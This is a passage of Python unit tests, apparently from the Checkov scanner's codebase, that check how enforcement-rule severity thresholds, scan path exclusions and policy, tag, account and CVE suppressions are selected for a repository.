resource_types:\n - azurerm_subnet_network_security_group_association\n connected_resource_types:\n - azurerm_subnet\n - azurerm_network_security_group\n operator: exists\n - cond_type: filter\n attribute: resource_type\n value:\n - azurerm_subnet\n operator: within\n" }, "recommendation": "" } ] }, "recommendation": "", "cloudType": "azure", "labels": [ "CODE", "KARTIK" ], "enabled": True, "createdOn": 1653003961960, "createdBy": "User", "lastModifiedOn": 1653003961960, "lastModifiedBy": "User", "ruleLastModifiedOn": 1653003961960, "deleted": False, "owner": "Tenant Name", "policyMode": "custom", "policyCategory": "risk", "policyClass": "exposure", "remediable": False }, ] if __name__ == '__main__': unittest.main() ================================================ FILE: tests/common/integration_features/test_repo_config_integration.py ================================================ import unittest from checkov.common.bridgecrew.code_categories import CodeCategoryType, CodeCategoryConfiguration from checkov.common.bridgecrew.integration_features.features.repo_config_integration import \ RepoConfigIntegration from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration from checkov.common.bridgecrew.severities import BcSeverities, Severities class TestRepoConfigIntegration(unittest.TestCase): def test_integration_valid(self): instance = BcPlatformIntegration() instance.skip_download = False instance.platform_integration_configured = True repo_config_integration = RepoConfigIntegration(instance) self.assertTrue(repo_config_integration.is_valid()) instance.skip_download = True self.assertFalse(repo_config_integration.is_valid()) instance.platform_integration_configured = False self.assertFalse(repo_config_integration.is_valid()) instance.skip_download = False self.assertFalse(repo_config_integration.is_valid()) repo_config_integration.integration_feature_failures = True self.assertFalse(repo_config_integration.is_valid()) def test_enforcement_rule_default(self): enforcement_rule_config = { "rules": [ { "id": "1", "creationDate": "2022-05-02T12:18:27.379Z", "name": "Security default findings", "createdBy": "Bridgecrew", "mainRule": True, "editable": True, "codeCategories": { "LICENSES": { "softFailThreshold": "LOW", "hardFailThreshold": "CRITICAL", "commentsBotThreshold": "LOW" }, "VULNERABILITIES": { "softFailThreshold": "LOW", "hardFailThreshold": "CRITICAL", "commentsBotThreshold": "LOW" }, "IAC": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" }, "SECRETS": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" }, "BUILD_INTEGRITY": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" } }, "repositories": [] }, ], "accountsNotInMainRule": [] } instance = BcPlatformIntegration() instance.repo_id = 'org/repo' repo_config_integration = RepoConfigIntegration(instance) repo_config_integration._set_enforcement_rules(enforcement_rule_config) self.assertEqual(repo_config_integration.enforcement_rule['id'], '1') def test_enforcement_rule_default_non_matching(self): enforcement_rule_config = { "rules": [ { "id": "1", "creationDate": "2022-05-02T12:18:27.379Z", "name": "Security default findings", "createdBy": "Bridgecrew", "mainRule": True, "editable": True, "codeCategories": { "LICENSES": { "softFailThreshold": "LOW", "hardFailThreshold": "CRITICAL", "commentsBotThreshold": "LOW" }, "VULNERABILITIES": { "softFailThreshold": "LOW", "hardFailThreshold": "CRITICAL", "commentsBotThreshold": "LOW" }, "IAC": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" }, "SECRETS": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" }, "BUILD_INTEGRITY": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" } }, "repositories": [] }, { "id": "2", "creationDate": "2022-05-02T12:18:27.379Z", "name": "rule2", "createdBy": "Bridgecrew", "mainRule": False, "editable": True, "codeCategories": { "LICENSES": { "softFailThreshold": "LOW", "hardFailThreshold": "CRITICAL", "commentsBotThreshold": "LOW" }, "VULNERABILITIES": { "softFailThreshold": "LOW", "hardFailThreshold": "CRITICAL", "commentsBotThreshold": "LOW" }, "IAC": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" }, "SECRETS": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" }, "BUILD_INTEGRITY": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" } }, "repositories": [ { "accountId": "1234", "accountName": "org/other_repo" } ] }, ], "accountsNotInMainRule": [] } instance = BcPlatformIntegration() instance.repo_id = 'org/repo' repo_config_integration = RepoConfigIntegration(instance) repo_config_integration._set_enforcement_rules(enforcement_rule_config) self.assertEqual(repo_config_integration.enforcement_rule['id'], '1') def test_enforcement_rule_simple_match(self): enforcement_rule_config = { "rules": [ { "id": "1", "creationDate": "2022-05-02T12:18:27.379Z", "name": "Security default findings", "createdBy": "Bridgecrew", "mainRule": True, "editable": True, "codeCategories": { "LICENSES": { "softFailThreshold": "LOW", "hardFailThreshold": "CRITICAL", "commentsBotThreshold": "LOW" }, "VULNERABILITIES": { "softFailThreshold": "LOW", "hardFailThreshold": "CRITICAL", "commentsBotThreshold": "LOW" }, "IAC": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" }, "SECRETS": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" }, "BUILD_INTEGRITY": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" } }, "repositories": [] }, { "id": "2", "creationDate": "2022-05-02T12:18:27.379Z", "name": "rule2", "createdBy": "Bridgecrew", "mainRule": False, "editable": True, "codeCategories": { "LICENSES": { "softFailThreshold": "LOW", "hardFailThreshold": "CRITICAL", "commentsBotThreshold": "LOW" }, "VULNERABILITIES": { "softFailThreshold": "LOW", "hardFailThreshold": "CRITICAL", "commentsBotThreshold": "LOW" }, "IAC": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" }, "SECRETS": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" }, "BUILD_INTEGRITY": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" } }, "repositories": [ { "accountId": "1234", "accountName": "org/repo" } ] }, ], "accountsNotInMainRule": [] } instance = BcPlatformIntegration() instance.repo_id = 'org/repo' repo_config_integration = RepoConfigIntegration(instance) repo_config_integration._set_enforcement_rules(enforcement_rule_config) self.assertEqual(repo_config_integration.enforcement_rule['id'], '2') def test_enforcement_rule_cli_repo_match(self): enforcement_rule_config = { "rules": [ { "id": "1", "creationDate": "2022-05-02T12:18:27.379Z", "name": "Security default findings", "createdBy": "Bridgecrew", "mainRule": True, "editable": True, "codeCategories": { "LICENSES": { "softFailThreshold": "LOW", "hardFailThreshold": "CRITICAL", "commentsBotThreshold": "LOW" }, "VULNERABILITIES": { "softFailThreshold": "LOW", "hardFailThreshold": "CRITICAL", "commentsBotThreshold": "LOW" }, "IAC": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" }, "SECRETS": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" }, "BUILD_INTEGRITY": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" } }, "repositories": [] }, { "id": "2", "creationDate": "2022-05-02T12:18:27.379Z", "name": "rule2", "createdBy": "Bridgecrew", "mainRule": False, "editable": True, "codeCategories": { "LICENSES": { "softFailThreshold": "LOW", "hardFailThreshold": "CRITICAL", "commentsBotThreshold": "LOW" }, "VULNERABILITIES": { "softFailThreshold": "LOW", "hardFailThreshold": "CRITICAL", "commentsBotThreshold": "LOW" }, "IAC": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" }, "SECRETS": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" }, "BUILD_INTEGRITY": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" } }, "repositories": [ { "accountId": "1234", "accountName": "bcorg_org/repo" } ] }, ], "accountsNotInMainRule": [] } instance = BcPlatformIntegration() instance.repo_id = 'org/repo' repo_config_integration = RepoConfigIntegration(instance) repo_config_integration._set_enforcement_rules(enforcement_rule_config) self.assertEqual(repo_config_integration.enforcement_rule['id'], '2') def test_enforcement_rule_vcs_and_cli_repo_match(self): enforcement_rule_config = { "rules": [ { "id": "1", "creationDate": "2022-05-02T12:18:27.379Z", "name": "Security default findings", "createdBy": "Bridgecrew", "mainRule": True, "editable": True, "codeCategories": { "LICENSES": { "softFailThreshold": "LOW", "hardFailThreshold": "CRITICAL", "commentsBotThreshold": "LOW" }, "VULNERABILITIES": { "softFailThreshold": "LOW", "hardFailThreshold": "CRITICAL", "commentsBotThreshold": "LOW" }, "IAC": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" }, "SECRETS": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" }, "BUILD_INTEGRITY": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" } }, "repositories": [] }, { "id": "2", "creationDate": "2022-05-02T12:18:27.379Z", "name": "rule2", "createdBy": "Bridgecrew", "mainRule": False, "editable": True, "codeCategories": { "LICENSES": { "softFailThreshold": "LOW", "hardFailThreshold": "CRITICAL", "commentsBotThreshold": "LOW" }, "VULNERABILITIES": { "softFailThreshold": "LOW", "hardFailThreshold": "CRITICAL", "commentsBotThreshold": "LOW" }, "IAC": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" }, "SECRETS": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" }, "BUILD_INTEGRITY": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" } }, "repositories": [ { "accountId": "1234", "accountName": "bcorg_org/repo" }, { "accountId": "5678", "accountName": "org/repo" } ] }, ], "accountsNotInMainRule": [] } instance = BcPlatformIntegration() instance.repo_id = 'org/repo' repo_config_integration = RepoConfigIntegration(instance) repo_config_integration._set_enforcement_rules(enforcement_rule_config) self.assertEqual(repo_config_integration.enforcement_rule['id'], '2') def test_enforcement_rule_conflicting_match(self): enforcement_rule_config = { "rules": [ { "id": "1", "creationDate": "2022-05-02T12:18:27.379Z", "name": "Security default findings", "createdBy": "Bridgecrew", "mainRule": True, "editable": True, "codeCategories": { "LICENSES": { "softFailThreshold": "LOW", "hardFailThreshold": "CRITICAL", "commentsBotThreshold": "LOW" }, "VULNERABILITIES": { "softFailThreshold": "LOW", "hardFailThreshold": "CRITICAL", "commentsBotThreshold": "LOW" }, "IAC": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" }, "SECRETS": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" }, "BUILD_INTEGRITY": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" } }, "repositories": [] }, { "id": "2", "creationDate": "2022-05-02T12:18:27.379Z", "name": "rule2", "createdBy": "Bridgecrew", "mainRule": False, "editable": True, "codeCategories": { "LICENSES": { "softFailThreshold": "LOW", "hardFailThreshold": "CRITICAL", "commentsBotThreshold": "LOW" }, "VULNERABILITIES": { "softFailThreshold": "LOW", "hardFailThreshold": "CRITICAL", "commentsBotThreshold": "LOW" }, "IAC": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" }, "SECRETS": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" }, "BUILD_INTEGRITY": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" } }, "repositories": [ { "accountId": "1234", "accountName": "bcorg_org/repo" } ] }, { "id": "3", "creationDate": "2022-05-02T12:18:27.379Z", "name": "rule3", "createdBy": "Bridgecrew", "mainRule": False, "editable": True, "codeCategories": { "LICENSES": { "softFailThreshold": "LOW", "hardFailThreshold": "CRITICAL", "commentsBotThreshold": "LOW" }, "VULNERABILITIES": { "softFailThreshold": "LOW", "hardFailThreshold": "CRITICAL", "commentsBotThreshold": "LOW" }, "IAC": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" }, "SECRETS": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" }, "BUILD_INTEGRITY": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" } }, "repositories": [ { "accountId": "5678", "accountName": "org/repo" } ] }, ], "accountsNotInMainRule": [] } instance = BcPlatformIntegration() instance.repo_id = 'org/repo' repo_config_integration = RepoConfigIntegration(instance) repo_config_integration._set_enforcement_rules(enforcement_rule_config) self.assertEqual(repo_config_integration.enforcement_rule['id'], '3') def test_enforcement_rule_conflicting_multiple_vcs_match(self): enforcement_rule_config = { "rules": [ { "id": "1", "creationDate": "2022-05-02T12:18:27.379Z", "name": "Security default findings", "createdBy": "Bridgecrew", "mainRule": True, "editable": True, "codeCategories": { "LICENSES": { "softFailThreshold": "LOW", "hardFailThreshold": "CRITICAL", "commentsBotThreshold": "LOW" }, "VULNERABILITIES": { "softFailThreshold": "LOW", "hardFailThreshold": "CRITICAL", "commentsBotThreshold": "LOW" }, "IAC": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" }, "SECRETS": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" }, "BUILD_INTEGRITY": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" } }, "repositories": [] }, { "id": "2", "creationDate": "2022-05-02T12:18:27.379Z", "name": "rule2", "createdBy": "Bridgecrew", "mainRule": False, "editable": True, "codeCategories": { "LICENSES": { "softFailThreshold": "LOW", "hardFailThreshold": "CRITICAL", "commentsBotThreshold": "LOW" }, "VULNERABILITIES": { "softFailThreshold": "LOW", "hardFailThreshold": "CRITICAL", "commentsBotThreshold": "LOW" }, "IAC": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" }, "SECRETS": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" }, "BUILD_INTEGRITY": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" } }, "repositories": [ { "accountId": "1234", "accountName": "org/repo" } ] }, { "id": "3", "creationDate": "2022-05-02T12:18:27.379Z", "name": "rule3", "createdBy": "Bridgecrew", "mainRule": False, "editable": True, "codeCategories": { "LICENSES": { "softFailThreshold": "LOW", "hardFailThreshold": "CRITICAL", "commentsBotThreshold": "LOW" }, "VULNERABILITIES": { "softFailThreshold": "LOW", "hardFailThreshold": "CRITICAL", "commentsBotThreshold": "LOW" }, "IAC": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" }, "SECRETS": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" }, "BUILD_INTEGRITY": { "softFailThreshold": "LOW", "hardFailThreshold": "LOW", "commentsBotThreshold": "LOW" } }, "repositories": [ { "accountId": "5678", "accountName": "org/repo" } ] }, ], "accountsNotInMainRule": [] } instance = BcPlatformIntegration() instance.repo_id = 'org/repo' repo_config_integration = RepoConfigIntegration(instance) repo_config_integration._set_enforcement_rules(enforcement_rule_config) self.assertEqual(repo_config_integration.enforcement_rule['id'], '2') def test_enforcement_rule_constants(self): # tests to ensure that the correct constants get updated as rules and runners change module_keys = [e.value for e in CodeCategoryType] self.assertEqual(set(module_keys), {'IAC', 'SECRETS', 'VULNERABILITIES', 'LICENSES', 'BUILD_INTEGRITY', 'WEAKNESSES'}) def test_global_soft_fail(self): self.assertFalse(CodeCategoryConfiguration('', Severities[BcSeverities.LOW], Severities[BcSeverities.LOW]).is_global_soft_fail()) self.assertFalse(CodeCategoryConfiguration('', Severities[BcSeverities.LOW], Severities[BcSeverities.MEDIUM]).is_global_soft_fail()) self.assertFalse(CodeCategoryConfiguration('', Severities[BcSeverities.LOW], Severities[BcSeverities.HIGH]).is_global_soft_fail()) self.assertFalse(CodeCategoryConfiguration('', Severities[BcSeverities.LOW], Severities[BcSeverities.CRITICAL]).is_global_soft_fail()) self.assertFalse(CodeCategoryConfiguration('', Severities[BcSeverities.LOW], Severities[BcSeverities.INFO]).is_global_soft_fail()) self.assertFalse(CodeCategoryConfiguration('', Severities[BcSeverities.LOW], Severities[BcSeverities.MODERATE]).is_global_soft_fail()) self.assertTrue(CodeCategoryConfiguration('', Severities[BcSeverities.LOW], Severities[BcSeverities.OFF]).is_global_soft_fail()) def test_skip_paths_empty(self): vcs_config = { "scannedFiles": { "sections": [ { "repos": [ "org/repo" ], "rule": { "excludePaths": [] }, "isDefault": True } ] } } instance = BcPlatformIntegration() instance.repo_id = 'org/repo' repo_config_integration = RepoConfigIntegration(instance) repo_config_integration._set_exclusion_paths(vcs_config) self.assertEqual(repo_config_integration.skip_paths, set()) def test_skip_paths_non_empty(self): vcs_config = { "scannedFiles": { "sections": [ { "repos": [ "org/repo" ], "rule": { "excludePaths": [ "a/b" ] }, "isDefault": True } ] } } instance = BcPlatformIntegration() instance.repo_id = 'org/repo' repo_config_integration = RepoConfigIntegration(instance) repo_config_integration._set_exclusion_paths(vcs_config) self.assertEqual(repo_config_integration.skip_paths, {'a/b'}) def test_skip_paths_non_matching(self): vcs_config = { "scannedFiles": { "sections": [ { "repos": [ "org/other_repo" ], "rule": { "excludePaths": [ "a/b" ] }, "isDefault": True } ] } } instance = BcPlatformIntegration() instance.repo_id = 'org/repo' repo_config_integration = RepoConfigIntegration(instance) repo_config_integration._set_exclusion_paths(vcs_config) self.assertEqual(repo_config_integration.skip_paths, set()) def test_skip_paths_no_repos(self): vcs_config = { "scannedFiles": { "sections": [ { "repos": [], "rule": { "excludePaths": [] }, "isDefault": True } ] } } instance = BcPlatformIntegration() instance.repo_id = 'org/repo' repo_config_integration = RepoConfigIntegration(instance) repo_config_integration._set_exclusion_paths(vcs_config) self.assertEqual(repo_config_integration.skip_paths, set()) def test_skip_paths_multiple_one_match(self): vcs_config = { "scannedFiles": { "sections": [ { "repos": [ "org/repo" ], "rule": { "excludePaths": [ "a/b" ] }, "isDefault": True }, { "repos": [ "org/other_repo" ], "rule": { "excludePaths": [ "x/y" ] }, "isDefault": False } ] } } instance = BcPlatformIntegration() instance.repo_id = 'org/repo' repo_config_integration = RepoConfigIntegration(instance) repo_config_integration._set_exclusion_paths(vcs_config) self.assertEqual(repo_config_integration.skip_paths, {'a/b'}) def test_skip_paths_multiple_match(self): vcs_config = { "scannedFiles": { "sections": [ { "repos": [ "org/repo" ], "rule": { "excludePaths": [ "a/b" ] }, "isDefault": True }, { "repos": [ "bcorg_org/repo" ], "rule": { "excludePaths": [ "x/y" ] }, "isDefault": False } ] } } instance = BcPlatformIntegration() instance.repo_id = 'org/repo' repo_config_integration = RepoConfigIntegration(instance) repo_config_integration._set_exclusion_paths(vcs_config) self.assertEqual(repo_config_integration.skip_paths, {'a/b', "x/y"}) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/common/integration_features/test_suppressions_integration.py ================================================ import unittest from checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import \ integration as metadata_integration from checkov.common.bridgecrew.integration_features.features.suppressions_integration import SuppressionsIntegration from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration from checkov.common.models.enums import CheckResult from checkov.common.output.record import Record from checkov.common.output.report import Report class TestSuppressionsIntegration(unittest.TestCase): def test_integration_valid(self): instance = BcPlatformIntegration() instance.skip_download = False instance.platform_integration_configured = True suppressions_integration = SuppressionsIntegration(instance) self.assertTrue(suppressions_integration.is_valid()) instance.skip_download = True self.assertFalse(suppressions_integration.is_valid()) instance.platform_integration_configured = False self.assertFalse(suppressions_integration.is_valid()) instance.skip_download = False self.assertFalse(suppressions_integration.is_valid()) suppressions_integration.integration_feature_failures = True self.assertFalse(suppressions_integration.is_valid()) def test_policy_id_regex(self): suppressions_integration = SuppressionsIntegration(BcPlatformIntegration()) matching_ids = [ 'bcorg_aws_1234567891011', 'bcORrg_aws_1234567891011', 'bcORrg_AWS_1234567891011', 'bcorg12_aws_1234567891011', 'bcorgabcdefgh_azure_1234567891011', '0123456_azure_1234567891011' ] non_matching_ids = [ 'bcorg_aws_123456789101', 'bcorg_aws123_1234567891011', 'bcorg_1234567891011', 'bcorgabcdefghazure_1234567891011', '_bcorg_aws_1234567891011', ] for id in matching_ids: self.assertIsNotNone(suppressions_integration.custom_policy_id_regex.match(id)) for id in non_matching_ids: self.assertIsNone(suppressions_integration.custom_policy_id_regex.match(id)) def test_repo_match(self): integration = BcPlatformIntegration() integration.repo_id = 'org/repo' suppressions_integration = SuppressionsIntegration(integration) suppressions_integration._init_repo_regex() self.assertTrue(suppressions_integration._repo_matches('org/repo')) self.assertTrue(suppressions_integration._repo_matches('xyz_org/repo')) self.assertTrue(suppressions_integration._repo_matches('80001234_org/repo')) self.assertFalse(suppressions_integration._repo_matches('org/repo1')) self.assertFalse(suppressions_integration._repo_matches('xyz_org/repo1')) self.assertFalse(suppressions_integration._repo_matches('80001234_org/repo1')) def test_suppression_valid(self): instance = BcPlatformIntegration() instance.repo_id = 'org/repo' metadata_integration.bc_to_ckv_id_mapping = { 'BC_AWS_1': 'CKV_AWS_20' } metadata_integration.bc_integration = instance suppressions_integration = SuppressionsIntegration(instance) suppressions_integration._init_repo_regex() suppression = { "suppressionType": "Accounts", "policyId": "BC_AWS_1", "creationDate": 1608816140086, "comment": "No justification comment provided.", "accountIds": [ "org/repo" ] } self.assertTrue(suppressions_integration._suppression_valid_for_run(suppression)) suppression = { "suppressionType": "Accounts", "policyId": "BC_AWS_1", "creationDate": 1608816140086, "comment": "No justification comment provided.", "accountIds": [ "bcorg_org/repo" ] } self.assertTrue(suppressions_integration._suppression_valid_for_run(suppression)) suppression = { "suppressionType": "Resources", "policyId": "BC_AWS_1", "creationDate": 1608816140086, "comment": "No justification comment provided.", "resources": { "accountId": "org/repo", "resourceId": "/s3.tf" } } self.assertTrue(suppressions_integration._suppression_valid_for_run(suppression)) suppression = { "suppressionType": "Tags", "policyId": "BC_AWS_1", "creationDate": 1610035761349, "comment": "No justification comment provided.", "tags": [ { "value": "test_1", "key": "test_num" } ] } self.assertTrue(suppressions_integration._suppression_valid_for_run(suppression)) suppression = { "suppressionType": "Policy", "policyId": "BC_AWS_1", "creationDate": 1602670330384, "comment": "No justification comment provided." } self.assertTrue(suppressions_integration._suppression_valid_for_run(suppression)) suppression = { "suppressionType": "Accounts", "policyId": "BC_AWS_1", "creationDate": 1608816140086, "comment": "No justification comment provided.", "accountIds": [ "other/repo" ] } self.assertFalse(suppressions_integration._suppression_valid_for_run(suppression)) suppression = { "suppressionType": "Accounts", "policyId": "BC_AWS_1", "creationDate": 1608816140086, "comment": "No justification comment provided.", "accountIds": [ "bcorg_other/repo" ] } self.assertFalse(suppressions_integration._suppression_valid_for_run(suppression)) suppression = { "suppressionType": "Tags", "policyId": "NOT_A_POLICY", "creationDate": 1610035761349, "comment": "No justification comment provided.", "tags": [ { "value": "test_1", "key": "test_num" } ] } self.assertFalse(suppressions_integration._suppression_valid_for_run(suppression)) # custom policy suppression = { "suppressionType": "Tags", "policyId": "bcorg_aws_1234567891011", "creationDate": 1610035761349, "comment": "No justification comment provided.", "tags": [ { "value": "test_1", "key": "test_num" } ] } self.assertTrue(suppressions_integration._suppression_valid_for_run(suppression)) def test_policy_suppression(self): instance = BcPlatformIntegration() suppressions_integration = SuppressionsIntegration(instance) suppressions_integration._init_repo_regex() suppression = { "suppressionType": "Policy", "id": "7caab873-7400-47f9-8b3f-82b33d0463ed", "policyId": "BC_AWS_GENERAL_31", "comment": "No justification comment provided.", "checkovPolicyId": "CKV_AWS_79", } record1 = Record(check_id='CKV_AWS_79', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None) record2 = Record(check_id='CKV_AWS_1', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None) self.assertTrue(suppressions_integration._check_suppression(record1, suppression)) self.assertFalse(suppressions_integration._check_suppression(record2, suppression)) def test_policy_v2_suppression(self): instance = BcPlatformIntegration() suppressions_integration = SuppressionsIntegration(instance) suppressions_integration._init_repo_regex() suppression = { "ruleType": "policy", "checkovPolicyIds": ["CKV_AWS_79", "CKV_AWS_80"], } record1 = Record(check_id='CKV_AWS_79', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None) record2 = Record(check_id='CKV_AWS_80', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None) record3 = Record(check_id='CKV_AWS_1', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None) self.assertTrue(suppressions_integration._check_suppression_v2(record1, suppression)) self.assertTrue(suppressions_integration._check_suppression_v2(record2, suppression)) self.assertFalse(suppressions_integration._check_suppression_v2(record3, suppression)) def test_suppress_by_policy_BC_VUL_2(self): instance = BcPlatformIntegration() suppressions_integration = SuppressionsIntegration(instance) suppressions_integration._init_repo_regex() suppression = { 'suppressionType': 'Policy', 'id': '73114538-553a-4401-9ab4-d720e773024a', 'policyId': 'BC_VUL_2', 'comment': 'suppress policy package_scan', 'checkovPolicyId': 'BC_VUL_2' } record1 = Record(check_id='BC_VUL_2', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None) record2 = Record(check_id='BC_VUL_22', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None) self.assertTrue(suppressions_integration._check_suppression(record1, suppression)) self.assertFalse(suppressions_integration._check_suppression(record2, suppression)) def test_suppress_by_policy_BC_VUL_1(self): instance = BcPlatformIntegration() suppressions_integration = SuppressionsIntegration(instance) suppressions_integration._init_repo_regex() suppression = { 'suppressionType': 'Policy', 'id': 'efc9357e-5517-4407-818f-814e7cc341d1', 'policyId': 'BC_VUL_1', 'comment': 'test', 'checkovPolicyId': 'BC_VUL_1' } record1 = Record(check_id='BC_VUL_1', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None) record2 = Record(check_id='CKV_AWS_1', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None) self.assertTrue(suppressions_integration._check_suppression(record1, suppression)) self.assertFalse(suppressions_integration._check_suppression(record2, suppression)) def test_suppress_by_cve_accounts_with_repo_id_package_scan(self): instance = BcPlatformIntegration() instance.repo_id = 'some/repo' instance.source_id = f"customer_{instance.repo_id}" suppressions_integration = SuppressionsIntegration(instance) suppressions_integration._init_repo_regex() suppression = { 'suppressionType': 'CvesAccounts', 'policyId': 'BC_VUL_2', 'comment': 'suppress by accounts', 'cves': ['CVE-2021-44420', 'CVE-2021-45452'], 'accountIds': ['customer_some/repo'], 'checkovPolicyId': 'BC_VUL_2' } record1 = Record(check_id='BC_VUL_2', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None, vulnerability_details={'id': 'CVE-2021-44420'}) record2 = Record(check_id='BC_VUL_2', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None, vulnerability_details={'id': 'CVE-2021-45452'}) record3 = Record(check_id='BC_VUL_2', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None, vulnerability_details={'id': 'CVE-2022-45452'}) self.assertTrue(suppressions_integration._check_suppression(record1, suppression)) self.assertTrue(suppressions_integration._check_suppression(record2, suppression)) self.assertFalse(suppressions_integration._check_suppression(record3, suppression)) def test_suppress_by_cve_accounts_without_repo_id_package_scan(self): instance = BcPlatformIntegration() suppressions_integration = SuppressionsIntegration(instance) suppressions_integration._init_repo_regex() suppression = { 'suppressionType': 'CvesAccounts', 'policyId': 'BC_VUL_2', 'comment': 'suppress by accounts', 'cves': ['CVE-2021-44420', 'CVE-2021-45452'], 'accountIds': ['some/repo'], 'checkovPolicyId': 'BC_VUL_2' } record1 = Record(check_id='BC_VUL_2', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None, vulnerability_details={'id': 'CVE-2021-44420'}) record2 = Record(check_id='BC_VUL_2', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None, vulnerability_details={'id': 'CVE-2021-45452'}) record3 = Record(check_id='BC_VUL_2', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None, vulnerability_details={'id': 'CVE-2022-45452'}) self.assertFalse(suppressions_integration._check_suppression(record1, suppression)) self.assertFalse(suppressions_integration._check_suppression(record2, suppression)) self.assertFalse(suppressions_integration._check_suppression(record3, suppression)) def test_suppress_by_cve_accounts_with_repo_id_image_scan(self): instance = BcPlatformIntegration() instance.repo_id = 'some/repo' instance.source_id = f"customer_{instance.repo_id}" suppressions_integration = SuppressionsIntegration(instance) suppressions_integration._init_repo_regex() suppression = { 'suppressionType': 